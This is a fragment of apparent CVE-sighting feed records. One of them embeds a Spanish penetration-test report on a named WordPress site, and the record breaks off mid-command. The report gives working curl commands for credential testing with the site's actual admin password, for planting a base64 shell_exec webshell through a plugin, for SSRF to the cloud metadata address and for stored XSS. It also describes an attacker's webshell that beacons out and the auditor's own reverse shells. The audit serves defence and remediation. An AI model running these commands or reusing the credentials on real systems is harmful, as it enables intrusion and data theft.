"13677dff-c09b-4ffa-b34a-a18a3a6aa51f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24088", "type": "seen", "source": "https://bsky.app/profile/zhuowei.notnow.dev/post/3mnahz4yxic2k", "content": "4 months after Qualcomm devices got rooted with a Fastboot 0-day. Qualcomm finally acknowledges it in today\u2019s Security Bulletin. (CVE-2026-24087 and CVE-2026-24088)\ndocs.qualcomm.com/securitybull...", "creation_timestamp": "2026-06-01T16:14:46.750574Z"}, {"uuid": "a6ea3e1a-a62d-4522-9652-dc1f6304d61a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24751", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnb3cs4tlb27", "content": "\ud83d\udfe0 CVE-2026-24751 - High (8.2)\n\nKiteworks is a private data network (PDN). Prior to version 9.3.0, a reflected XSS vulnerability ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24751/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-01T22:00:12.536489Z"}, {"uuid": "b478ddd6-ac19-4a38-9366-196c72c9bd60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24751", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnb7ycx5452v", "content": "CVE-2026-24751 - Kiteworks Secure Data Forms Vulnerable to Cross-site Scripting\nCVE ID : CVE-2026-24751\n \n Published : June 1, 2026, 9:16 p.m. | 1\u00a0hour, 57\u00a0minutes ago\n \n Description : Kiteworks is a private data network (PDN). Prior to version 9.3.0, a reflected XSS vulnerabi...", "creation_timestamp": "2026-06-01T23:23:49.089097Z"}, {"uuid": "6c0dbe0b-b1e5-4497-8e21-819f1ea1a017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24753", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnber3hl3l2w", "content": "CVE-2026-24753 - Kiteworks Secure Data Forms is vulnerable to Authorization Bypass Through User-Controlled Key\nCVE ID : CVE-2026-24753\n \n Published : June 1, 2026, 11:16 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Kiteworks is a private data network (PDN). Prior to version ...", "creation_timestamp": "2026-06-02T00:49:15.302018Z"}, {"uuid": "09a28dab-5483-45c9-a276-1b7c59ce9dc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24752", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnbfiigx7k2q", "content": "\ud83d\udfe0 CVE-2026-24752 - High (8.2)\n\nKiteworks is a private data network (PDN). Prior to version 9.3.0, a reflected XSS vulnerability ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24752/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-02T01:04:26.873845Z"}, {"uuid": "2cd1a42a-4b3a-4f6e-9b01-b6786d70b26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24425", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnbkrxiwwe2o", "content": "\ud83d\udccc CVE-2026-24425 - Twig versions 2.16.x and 3.9.0 through 3.25.x contain a sandbox bypass vulnerability when using a SourcePolicyInterface that allows attackers with tem... https://www.cyberhub.blog/cves/CVE-2026-24425", "creation_timestamp": "2026-06-02T02:37:07.582127Z"}, {"uuid": "56d46514-fc4c-4c0a-b8b9-5bc51e7cbc5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24089", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "0e3a755d-b6cf-4a79-86b4-34edd44a58fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24085", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "c04fa9ed-9417-479e-9029-7dac30548403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2425", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mncbsemgxr24", "content": "CVE-2026-2425 - hiWeb Migration Simple\nCVE ID : CVE-2026-2425\n \n Published : June 2, 2026, 7:48 a.m. | 44\u00a0minutes ago\n \n Description : The hiWeb Migration Simple plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'new_domain' parameter in all versions...", "creation_timestamp": "2026-06-02T09:28:56.908596Z"}, {"uuid": "2bfdaa38-f2ae-43aa-b827-b21a23be5ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24221", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnd6febj5d2q", "content": "\ud83d\udfe0 CVE-2026-24221 - High (7.8)\n\nNVIDIA NVTabular contains a vulnerability where an attacker could cause improper deserialization ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24221/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-02T18:00:39.856105Z"}, {"uuid": "0db055cd-a54a-47d5-a656-2742ed9b6fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24237", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnd6flsf6b2u", "content": "\ud83d\udfe0 CVE-2026-24237 - High (7.8)\n\nNVIDIA NVTabular contains a vulnerability where an attacker could cause improper deserialization ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24237/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-02T18:00:48.062698Z"}, {"uuid": "12420d10-f702-4f30-8acf-d10b8aac6211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/BlKk-eaWB29gmt0rVEcwTVvusxaI3MWZWXGUjwx1QaUEK7c", "content": "", "creation_timestamp": "2026-06-01T09:00:04.000000Z"}, {"uuid": "1a21f78a-5d19-4dfc-9399-760701388ef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24088", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mndw7xrg3x2f", "content": "\ud83d\udccc CVE-2026-24088 - Cryptographic Issue while processing a specific partition which allows unauthorized write access to load a customized bootloader. https://www.cyberhub.blog/cves/CVE-2026-24088", "creation_timestamp": "2026-06-03T01:07:07.402445Z"}, {"uuid": "29a54c01-369c-449f-9d14-2aa507acaa8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://gist.github.com/C4sh3R/1f99346b1086e7d358ff1be8f5be7a42", "content": "\n\n\n\n\n\nColumtech \u2014 Informe de Auditor\u00eda de Seguridad \u00b7 c4sh3r\n\n  :root {\n    --bg: #0b0d12;\n    --bg-2: #11151c;\n    --panel: #161b25;\n    --panel-2: #1d2330;\n    --border: #2a3142;\n    --text: #e6e9ef;\n    --text-dim: #99a2b3;\n    --accent: #ff4d6d;\n    --accent-2: #ffb86b;\n    --crit: #ff3d57;\n    --high: #ff8b3d;\n    --med:  #ffd84a;\n    --low:  #4ac6ff;\n    --info: #8c9fb0;\n    --ok: #3ddc97;\n    --code-bg: #0a0d14;\n    --mono: ui-monospace, \"JetBrains Mono\", \"Fira Code\", Menlo, Consolas, monospace;\n  }\n  * { box-sizing: border-box; }\n  html, body { margin: 0; padding: 0; background: var(--bg); color: var(--text);\n               font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif;\n               line-height: 1.55; -webkit-font-smoothing: antialiased; }\n  a { color: var(--accent-2); text-decoration: none; }\n  a:hover { text-decoration: underline; }\n  .hero {\n    padding: 60px 40px 50px;\n    background:\n      radial-gradient(1200px 400px at 10% -10%, rgba(255,77,109,0.25), transparent 60%),\n      radial-gradient(900px 380px at 100% 0%, rgba(255,184,107,0.15), transparent 60%),\n      linear-gradient(180deg, #0e1219, #0b0d12);\n    border-bottom: 1px solid var(--border);\n  }\n  .hero-inner { max-width: 1100px; margin: 0 auto; }\n  .eyebrow {\n    display: inline-flex; align-items: center; gap: 8px;\n    font-family: var(--mono); font-size: 12px; letter-spacing: 0.15em;\n    text-transform: uppercase; color: var(--accent);\n    padding: 4px 10px; border: 1px solid rgba(255,77,109,0.35);\n    border-radius: 999px; background: rgba(255,77,109,0.08);\n  }\n  .hero h1 { font-size: 44px; line-height: 1.1; margin: 18px 0 10px; letter-spacing: -0.02em; }\n  .hero h1 .accent { color: var(--accent); }\n  .hero .sub { color: var(--text-dim); font-size: 17px; max-width: 720px; }\n  .meta { margin-top: 30px; display: grid; grid-template-columns: repeat(4, 1fr); gap: 14px; }\n  .meta .card { background: rgba(22,27,37,0.7); border: 1px solid var(--border); border-radius: 10px; padding: 14px 16px; }\n  .meta .card .k { font-size: 11px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); }\n  .meta .card .v { font-family: var(--mono); font-size: 14px; margin-top: 6px; word-break: break-all; }\n  .author-strip {\n    display: flex; align-items: center; gap: 14px; margin-top: 24px;\n    padding: 12px 16px; border: 1px dashed var(--border); border-radius: 10px;\n    background: rgba(255,255,255,0.02); font-family: var(--mono); font-size: 13px; color: var(--text-dim);\n  }\n  .author-strip strong { color: var(--accent); }\n  .container { max-width: 1100px; margin: 0 auto; padding: 40px; }\n  section { margin-bottom: 60px; }\n  h2 { font-size: 26px; margin: 0 0 18px; letter-spacing: -0.01em; display: flex; align-items: center; gap: 12px; }\n  h2::before { content: ''; width: 4px; height: 22px; background: var(--accent); border-radius: 2px; }\n  h3 { font-size: 19px; margin: 22px 0 10px; }\n  p { color: var(--text); }\n  p.dim { color: var(--text-dim); }\n  .stats { display: grid; grid-template-columns: repeat(5, 1fr); gap: 12px; margin-top: 10px; }\n  .stat { background: var(--panel); border: 1px solid var(--border); border-radius: 12px; padding: 18px; text-align: center; }\n  .stat .num { font-size: 32px; font-weight: 700; font-family: var(--mono); }\n  .stat .lbl { font-size: 12px; text-transform: uppercase; letter-spacing: 0.12em; color: var(--text-dim); margin-top: 6px; }\n  .stat.crit .num { color: var(--crit); } .stat.high .num { color: var(--high); }\n  .stat.med  .num { color: var(--med); }  .stat.low  .num { color: var(--low); }\n  .stat.info .num { color: var(--info); }\n  table.summary { width: 100%; border-collapse: collapse; margin-top: 16px; background: var(--panel); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; }\n  table.summary th, table.summary td { padding: 12px 14px; text-align: left; border-bottom: 1px solid var(--border); font-size: 14px; }\n  table.summary th { background: var(--panel-2); font-weight: 600; font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; color: var(--text-dim); }\n  table.summary tr:last-child td { border-bottom: none; }\n  table.summary tr:hover td { background: rgba(255,255,255,0.02); }\n  .badge { display: inline-block; padding: 3px 9px; border-radius: 4px; font-size: 11px; font-weight: 700; font-family: var(--mono); letter-spacing: 0.05em; text-transform: uppercase; }\n  .badge.crit { background: rgba(255,61,87,0.15); color: var(--crit); border: 1px solid rgba(255,61,87,0.4); }\n  .badge.high { background: rgba(255,139,61,0.13); color: var(--high); border: 1px solid rgba(255,139,61,0.4); }\n  .badge.med  { background: rgba(255,216,74,0.13); color: var(--med);  border: 1px solid rgba(255,216,74,0.4); }\n  .badge.low  { background: rgba(74,198,255,0.13); color: var(--low);  border: 1px solid rgba(74,198,255,0.4); }\n  .badge.info { background: rgba(140,159,176,0.13); color: var(--info); border: 1px solid rgba(140,159,176,0.4); }\n  .finding { background: var(--panel); border: 1px solid var(--border); border-radius: 14px; margin-top: 22px; overflow: hidden; }\n  .finding .head { display: flex; align-items: center; gap: 14px; flex-wrap: wrap; padding: 18px 22px; background: var(--panel-2); border-bottom: 1px solid var(--border); }\n  .finding.crit .head { box-shadow: inset 4px 0 0 0 var(--crit); }\n  .finding.high .head { box-shadow: inset 4px 0 0 0 var(--high); }\n  .finding.med .head  { box-shadow: inset 4px 0 0 0 var(--med); }\n  .finding.low .head  { box-shadow: inset 4px 0 0 0 var(--low); }\n  .finding.info .head { box-shadow: inset 4px 0 0 0 var(--info); }\n  .finding .head .id { font-family: var(--mono); color: var(--text-dim); font-size: 13px; }\n  .finding .head .title { font-size: 17px; font-weight: 600; flex: 1; }\n  .finding .body { padding: 22px; }\n  .finding .body h4 { font-size: 11px; text-transform: uppercase; letter-spacing: 0.14em; color: var(--text-dim); margin: 18px 0 8px; }\n  .finding .body h4:first-child { margin-top: 0; }\n  .finding ul { margin: 0 0 6px; padding-left: 22px; }\n  .finding li { margin-bottom: 4px; }\n  pre, code { font-family: var(--mono); font-size: 13px; }\n  pre { background: var(--code-bg); border: 1px solid var(--border); border-radius: 8px; padding: 14px 16px; overflow-x: auto; line-height: 1.5; color: #d6dbe6; }\n  code.inline { background: rgba(255,255,255,0.05); padding: 1px 6px; border-radius: 4px; border: 1px solid var(--border); font-size: 12px; }\n  .kv { display: grid; grid-template-columns: 160px 1fr; gap: 6px 16px; font-size: 13.5px; }\n  .kv .k { color: var(--text-dim); font-family: var(--mono); font-size: 12px; padding-top: 2px; }\n  .callout { border-left: 3px solid var(--accent); background: rgba(255,77,109,0.05); padding: 14px 18px; border-radius: 0 8px 8px 0; margin: 12px 0; font-size: 14px; }\n  .callout.danger { border-color: var(--crit); background: rgba(255,61,87,0.07); }\n  .callout.warn   { border-color: var(--high); background: rgba(255,139,61,0.06); }\n  .callout.ok     { border-color: var(--ok);  background: rgba(61,220,151,0.06); }\n  footer { border-top: 1px solid var(--border); padding: 36px 40px; margin-top: 40px; color: var(--text-dim); text-align: center; font-size: 13px; background: var(--bg-2); }\n  footer .sig { font-family: var(--mono); font-size: 14px; color: var(--accent); }\n  .chain { background: var(--code-bg); border: 1px solid var(--border); border-radius: 10px; padding: 20px 24px; margin: 14px 0; }\n  .chain-step { display: flex; align-items: flex-start; gap: 14px; margin-bottom: 10px; }\n  .chain-step:last-child { margin-bottom: 0; }\n  .chain-num { background: var(--accent); color: #fff; border-radius: 50%; width: 22px; height: 22px; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; flex-shrink: 0; margin-top: 2px; }\n  .chain-text { font-family: var(--mono); font-size: 13px; color: #d6dbe6; }\n  .chain-arrow { color: var(--accent); font-size: 18px; margin: 4px 0; text-align: center; }\n  @media (max-width: 760px) {\n    .hero h1 { font-size: 32px; }\n    .meta, .stats { grid-template-columns: repeat(2, 1fr); }\n    .container, .hero { padding: 30px 22px; }\n  }\n\n\n\n\n\n\n  \n\n    \u258c Auditor\u00eda de Seguridad \u00b7 2026-06-03/04\n    \nColumtech OnlineInforme de Seguridad Web\n    \nEvaluaci\u00f3n de seguridad completa de columtech.online. Resultado: compromiso total \u2014 admin WordPress, RCE como www-data, defacing demostrado, escalada a root bloqueada por hardening excepcional.\n\n    \n\n      \n\nObjetivo\ncolumtech.online\n      \n\nBackend\nApache 2.4.66 \u00b7 PHP 8.2.30 \u00b7 MySQL 8.0.45\n      \n\nStack\nWP 7.0 \u00b7 Elementor 4.0.2 \u00b7 Docker \u00b7 Cloudflare \u00b7 Caddy\n      \n\nFecha\n2026-06-03 / 04\n    \n\n    \n\n      Autor del informe \u00b7 c4sh3r \u00b7 auditor\u00eda solicitada por el propietario del dominio \u00b7 autorizaci\u00f3n total\n    \n  \n\n\n\n\n\n  \n\n    \nResumen Ejecutivo\n    \nSe realiz\u00f3 una auditor\u00eda de seguridad end-to-end sobre columtech.online, un portal WordPress operado por el propietario con fines de pr\u00e1ctica y aprendizaje. La evaluaci\u00f3n cubri\u00f3 reconocimiento pasivo, enumeraci\u00f3n de usuarios, an\u00e1lisis de superficie de ataque en plugins y XML-RPC, explotaci\u00f3n de credenciales d\u00e9biles, post-explotaci\u00f3n como www-data dentro de un contenedor Docker, demostraci\u00f3n de defacing y exploraci\u00f3n exhaustiva de escalada de privilegios a root.\n    \nEl sitio fue comprometido completamente a nivel de aplicaci\u00f3n: acceso de administrador WordPress, ejecuci\u00f3n remota de c\u00f3digo como www-data, lectura/escritura del sistema de archivos y defacing demostrado. La escalada a root dentro del contenedor fue bloqueada por un perfil de hardening que combina seccomp, AppArmor y ptrace_scope=3, resistiendo todos los CVEs p\u00fablicos conocidos para kernel 6.8.\n    \nSe descubri\u00f3 adicionalmente una webshell real de un atacante externo (wp-loginizer.php \u2014 WSO Mr.X v2.5 con beacon a cdn.privdayz.com) que requiere eliminaci\u00f3n inmediata.\n\n    \n\n      Riesgo principal: Contrase\u00f1a de administrador d\u00e9bil marce:marce123 accesible v\u00eda XML-RPC sin rate-limit \u2192 compromiso total del sitio en minutos.\n    \n\n    \n\n      \n\n3\nCr\u00edticos\n      \n\n4\nAltos\n      \n\n4\nMedios\n      \n\n4\nBajos\n      \n\n3\nInformativos\n    \n  \n\n  \n\n    \nCadena de Ataque Demostrada\n    \n\n      \n\n1\nREST API bypass (?rest_route=/wp/v2/users) \u2192 enum admin marce (id=1) + prueba (id=2) + columtech (id=3)\n      \n\u2193\n      \n\n2\nGravatar SHA-256 reverse \u2192 email de prueba: prueba@gmail.com\n      \n\u2193\n      \n\n3\nXML-RPC wp.getUsersBlogs (credential oracle sin rate-limit) \u2192 marce:marce123 [administrator]\n      \n\u2193\n      \n\n4\nAdmin WP \u2192 REST API POST /wp/v2/plugins \u2192 instalaci\u00f3n code-snippets plugin\n      \n\u2193\n      \n\n5\nCode Snippets PHP snippet \u2192 RCE como www-data \u00b7 uid=33 \u00b7 hostname 6c49a066ba4c\n      \n\u2193\n      \n\n6\nDefacing: t\u00edtulo del sitio + sticky post + p\u00e1gina est\u00e1tica con matrix rain / glitch effects\n      \n\u2193\n      \n\n7\nEscalada: 12 CVEs y t\u00e9cnicas probadas \u2192 bloqueadas por seccomp + AppArmor + ptrace_scope=3\n    \n  \n\n  \n\n    \nAlcance y Metodolog\u00eda\n    \n\n      \nObjetivo\nhttps://www.columtech.online \u2014 WordPress 7.0 + Elementor 4.0.2 + plugin Filester/elFinder\n      \nTipo\nCaja negra \u2192 caja gris (tras obtener credenciales) \u00b7 sin acceso previo a servidor\n      \nAutorizaci\u00f3n\nDominio propiedad del solicitante \u00b7 auditor\u00eda completa autorizada verbalmente\n      \nIdentificaci\u00f3n\nTodas las peticiones etiquetadas con User-Agent: c4sh3r y X-Bug-Bounty: c4sh3r\n      \nNo destructivo\nEl defacing fue demostrado y revertido. Ficheros de prueba eliminados. No se destruy\u00f3 ni borr\u00f3 informaci\u00f3n real del sitio.\n      \nHerramientas\ncurl, Python 3, LinPEAS, bore (tunnel), GCC, git (exploit repos), b\u00fasqueda web de CVEs en tiempo real\n    \n  \n\n  \n\n    \nResumen de Hallazgos\n    \n\n      IDSeveridadHallazgoComponente\n      \n        C-01Cr\u00edticoCredencial admin d\u00e9bil \u2014 acceso total v\u00eda XML-RPCWordPress \u00b7 XML-RPC\n        C-02Cr\u00edticoWebshell externa preexistente (WSO Mr.X)wp-loginizer.php\n        C-03Cr\u00edticoRCE como www-data v\u00eda Code Snippets pluginWordPress \u00b7 Code Snippets REST\n        H-01AltoXML-RPC expuesto \u2014 SSRF + credential oracle sin rate-limitxmlrpc.php\n        H-02AltoCVE-2026-6127 Elementor XSS almacenado v\u00eda REST APIElementor 4.0.2 \u2264 4.0.4\n        H-03AltoEnumeraci\u00f3n de usuarios por 4 v\u00edas sin rate-limitREST API \u00b7 wp-login \u00b7 lostpassword\n        H-04AltoNonce de plugin expuesto en REST sin autenticaci\u00f3nFilevue \u00b7 /wp/v2/pages/7\n        M-01MedioWordPress 7.0 / Elementor 4.0.2 \u2014 versiones desactualizadasCore + plugins\n        M-02MedioEmail de usuario deducible por Gravatar hash (SHA-256)REST API \u00b7 Gravatar\n        M-03MedioRecuperaci\u00f3n de contrase\u00f1a rota + oracle de usuariowp-login.php \u00b7 lostpassword\n        M-04Mediowp-cron.php accesible p\u00fablicamentewp-cron.php\n        L-01BajoCabeceras de seguridad ausentes (HSTS, X-Content-Type, Permissions-Policy)HTTP Headers \u00b7 Caddy\n        L-02BajoOrigen Apache/versi\u00f3n filtrado en respuestas 404Apache 2.4.66 \u00b7 Cloudflare bypass\n        L-03Bajoreadme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WPWordPress Core\n        L-04BajoCVE-2026-24072 Apache 2.4.66 mod_rewrite htaccess readApache 2.4.66\n        I-01InfoContenedor Docker con hardening seccomp/AppArmor efectivoInfraestructura\n        I-02InfoDB creds en claro en variable de entorno del containerDocker env \u00b7 WORDPRESS_DB_*\n        I-03InfoKernel 6.8.0-117 vulnerable a CVE-2026-46333 pero bloqueado por seccompKernel \u00b7 pidfd_getfd\n      \n    \n  \n\n  \n\n    \nHallazgos Detallados\n\n    \n    \n\n      \n\n        C-01\n        Cr\u00edtico\n        Credencial de administrador d\u00e9bil \u2014 compromiso total v\u00eda XML-RPC\n      \n      \n\n        \nDescripci\u00f3n\n        \nLa cuenta de administrador marce ten\u00eda la contrase\u00f1a marce123. XML-RPC no implementa rate-limiting, permitiendo descubrirla mediante credential oracle con pocas decenas de intentos. Una vez autenticados, se obtuvo acceso total: lectura de opciones del sitio, creaci\u00f3n/edici\u00f3n de posts, subida de ficheros y instalaci\u00f3n de plugins.\n        \nPoC\n        \n# Descubrimiento de credenciales v\u00eda XML-RPC oracle\ncurl -X POST https://www.columtech.online/xmlrpc.php \\\n  -d '<?xml version=\"1.0\"?><methodCall>\n       <methodName>wp.getUsersBlogs</methodName>\n       <params>\n         <param><value><string>marce</string></value></param>\n         <param><value><string>marce123</string></value></param>\n       </params></methodCall>'\n\n# Respuesta: isAdmin=1, blogName=Laboratorio\n# RESULTADO: acceso de administrador confirmado\n        \nImpacto\n        \n\n          \nAcceso completo al panel de administraci\u00f3n WordPress\n          \nInstalaci\u00f3n de plugins arbitrarios \u2192 RCE\n          \nLectura/escritura de todos los contenidos y usuarios\n          \nDefacing del sitio demostrado\n          \nSubida de ficheros al servidor\n        \n        \nRemediaci\u00f3n\n        \n# 1. Cambiar contrase\u00f1a inmediatamente (m\u00ednimo 20 chars, aleatoria)\n# 2. Deshabilitar XML-RPC si no se usa Jetpack/app m\u00f3vil\nadd_filter('xmlrpc_enabled', '__return_false');\n\n# 3. Alternativamente, bloquear en Caddy/Cloudflare\n# Cloudflare WAF rule: (http.request.uri.path eq \"/xmlrpc.php\") \u2192 Block\n      \n    \n\n    \n    \n\n      \n\n        C-02\n        Cr\u00edtico\n        Webshell externa preexistente \u2014 WSO Mr.X v2.5\n      \n      \n\n        \nDescripci\u00f3n\n        \nSe encontr\u00f3 /var/www/html/wp-loginizer.php (237 KB), una webshell WSO (\u00abWeb Shell by orb\u00bb) Mr.X BYPASS v2.5 completamente funcional. El fichero incluye un file manager con terminal, file editor, y un beacon de tracking que reporta la URL de cada visita a https://cdn.privdayz.com/images/logo.jpg. El sitio fue comprometido por un atacante externo antes de esta auditor\u00eda (posts de spam en ruso desde 2023).\n        \nPoC\n        \ncurl https://www.columtech.online/wp-loginizer.php\n# Responde con file manager completo (sin autenticaci\u00f3n adicional)\n# Contiene: terminal, editor de archivos, upload\n# BEACON: POST a cdn.privdayz.com con location.href del visitante\n        \nImpacto\n        \n\n          \nAtacante externo tiene acceso de shell activo como www-data\n          \nExfiltraci\u00f3n de datos de visitantes a servidor tercero (privdayz.com)\n          \nPosible pivoting a base de datos y archivos\n          \nRGPD/privacidad: beacon rastrea IPs de visitantes\n        \n        \nRemediaci\u00f3n\n        \n# URGENTE \u2014 eliminar el fichero inmediatamente\nrm /var/www/html/wp-loginizer.php\nrm /var/www/html/2ops.php     # file manager adicional\nrm /var/www/html/x.php        # webshell de auditor\u00eda (nuestro)\nrm /var/www/html/rs.php       # reverse shell de auditor\u00eda (nuestro)\nrm /var/www/html/rs2.php      # reverse shell de auditor\u00eda (nuestro)\n\n# Auditar TODOS los archivos modificados en los \u00faltimos 90 d\u00edas:\nfind /var/www/html -newer /var/www/html/wp-config.php -name \"*.php\" | sort\n      \n    \n\n    \n    \n\n      \n\n        C-03\n        Cr\u00edtico\n        RCE como www-data v\u00eda Code Snippets REST API\n      \n      \n\n        \nDescripci\u00f3n\n        \nCon acceso de administrador, se instal\u00f3 el plugin Code Snippets v\u00eda REST API autenticada (POST /wp/v2/plugins). El plugin expone una API REST que permite crear snippets PHP que se ejecutan en cada carga de p\u00e1gina. Se cre\u00f3 un snippet con webshell (shell_exec(base64_decode($_GET['c4sh3r']))) que ejecuta comandos arbitrarios como uid=33(www-data).\n        \nPoC\n        \n# Instalar plugin\ncurl -X POST https://columtech.online/index.php?rest_route=/wp/v2/plugins \\\n  -H \"X-WP-Nonce: $NONCE\" -H \"Cookie: $ADMIN_COOKIES\" \\\n  -d '{\"slug\":\"code-snippets\",\"status\":\"active\"}'\n\n# Crear snippet webshell\ncurl -X POST https://columtech.online/index.php?rest_route=/code-snippets/v1/snippets \\\n  -H \"X-WP-Nonce: $NONCE\" \\\n  -d '{\"code\":\"if(isset($_GET[\\\"c4sh3r\\\"])){die(shell_exec(base64_decode($_GET[\\\"c4sh3r\\\"])));}\", \"scope\":\"front-end\",\"active\":true}'\n\n# Ejecutar comando\ncurl \"https://columtech.online/?c4sh3r=$(echo -n 'id' | base64)\"\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n        \nImpacto\n        \n\n          \nEjecuci\u00f3n remota de comandos en el servidor\n          \nLectura de wp-config.php y credenciales de base de datos\n          \nEscritura en /var/www/html (filesystem del host)\n          \nDefacing del sitio completo\n          \nReverse shell interactiva al atacante demostrada\n        \n        \nRemediaci\u00f3n\n        \n# Eliminar plugin Code Snippets y snippet malicioso\n# Revisar y eliminar TODOS los plugins no esenciales\n# Cambiar credenciales admin PRIMERO (ver C-01)\n# Implementar WAF rule para bloquear par\u00e1metros ?c4sh3r=\n      \n    \n\n    \n    \n\n      \n\n        H-01\n        Alto\n        XML-RPC expuesto \u2014 SSRF confirmado + amplificaci\u00f3n de credential testing\n      \n      \n\n        \nDescripci\u00f3n\n        \nxmlrpc.php est\u00e1 habilitado con system.multicall disponible. El m\u00e9todo pingback.ping causa que el servidor realice peticiones HTTP salientes arbitrarias (SSRF). Se confirm\u00f3 que el servidor intenta alcanzar 169.254.169.254 (metadata cloud) y puede escanear puertos internos por diferencia de tiempos.\n        \nPoC\n        \n# SSRF \u2014 servidor hace fetch a URL controlada por atacante\ncurl -X POST https://columtech.online/xmlrpc.php \\\n  -d '<methodCall><methodName>pingback.ping</methodName>\n       <params>\n         <param><value><string>http://169.254.169.254/</string></value></param>\n         <param><value><string>https://columtech.online/?p=1</string></value></param>\n       </params></methodCall>'\n\n# Resultado: 11.3s timeout \u2192 servidor alcanza metadata endpoint\n# Externo (example.com): 1.3s | Interno (localhost:80): 0.3s\n        \nImpacto\n        \n\n          \nSSRF: escaneo de puertos/servicios internos y metadata cloud\n          \nsystem.multicall: amplificaci\u00f3n de credential testing sin generar logs proporcionales\n          \nPingback abuse: DDoS contra terceros usando el servidor como amplificador\n        \n        \nRemediaci\u00f3n\n        \nadd_filter('xmlrpc_enabled', '__return_false');\n# O bloquear en Cloudflare/Caddy si se necesita para Jetpack\n      \n    \n\n    \n    \n\n      \n\n        H-02\n        Alto\n        CVE-2026-6127 \u2014 Elementor 4.0.2 Stored XSS v\u00eda REST API (form-encoded PATCH)\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (CVSS 6.4). El campo _elementor_data se registra con show_in_rest sin sanitize_callback. Un atacante con rol Contributor+ puede enviar una petici\u00f3n PATCH form-encoded (no JSON) y la sanitizaci\u00f3n se salta completamente, almacenando JavaScript arbitrario que se ejecuta para cualquier visitante, incluyendo el administrador.\n        \nPoC\n        \ncurl -X PATCH https://columtech.online/index.php?rest_route=/wp/v2/posts/1 \\\n  -H \"Authorization: Basic $(echo -n 'contributor:pass' | base64)\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode 'meta[_elementor_edit_mode]=builder' \\\n  --data-urlencode 